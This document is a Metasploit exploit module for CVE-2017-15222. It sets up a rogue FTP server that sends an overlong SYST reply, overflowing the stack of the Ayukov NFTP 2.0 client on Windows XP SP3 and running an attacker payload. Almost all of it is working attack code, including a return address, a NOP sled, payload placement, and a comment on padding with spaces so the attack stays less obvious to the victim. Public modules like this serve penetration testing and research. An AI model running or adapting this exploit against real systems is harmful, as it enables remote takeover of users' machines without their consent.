Ayukov NFTP FTP Client 2.0 – Remote Buffer Overflow (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Ayukov NFTP FTP Client Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP Client 2.0 and earlier. By responding with a long string of data for the SYST request, it is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote code exeuction under the context of the user if successfully exploited. }, 'Author' => [ 'Berk Cem Goksel', # Original exploit author 'Daniel Teixeira', # MSF module author 'sinn3r' # RCA, improved module reliability and user exp ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-15222'], [ 'EDB', '43025' ], ], 'Payload' => { 'BadChars' => "\x00\x01\x0a\x10\x0d", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512 ], 'Privileged' => false, 'DefaultOptions' => { 'SRVHOST' => '0.0.0.0', }, 'DisclosureDate' => 'Oct 21 2017', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]), ]) end def exploit srv_ip_for_client = datastore['SRVHOST'] if srv_ip_for_client == '0.0.0.0' if datastore['LHOST'] srv_ip_for_client = datastore['LHOST'] else srv_ip_for_client = Rex::Socket.source_address('50.50.50.50') end end srv_port = datastore['SRVPORT'] print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}") super end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) print_status("#{client.peerhost} - connected") # Let the client log in client.get_once print_status("#{client.peerhost} - sending 331 OK") user = "331 OK.\r\n" client.put(user) client.get_once print_status("#{client.peerhost} - sending 230 OK") pass = "230 OK.\r\n" client.put(pass) # It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk # is visible from the user's command prompt, which would make the buffer overflow attack too # obvious. sploit = "\x20"*4116 sploit << [target.ret].pack('V') sploit << make_nops(10) sploit << payload.encoded sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars) sploit << "\r\n" print_status("#{client.peerhost} - sending the malicious response") client.put(sploit) client.get_once pwd = "257\r\n" client.put(pwd) client.get_once end end |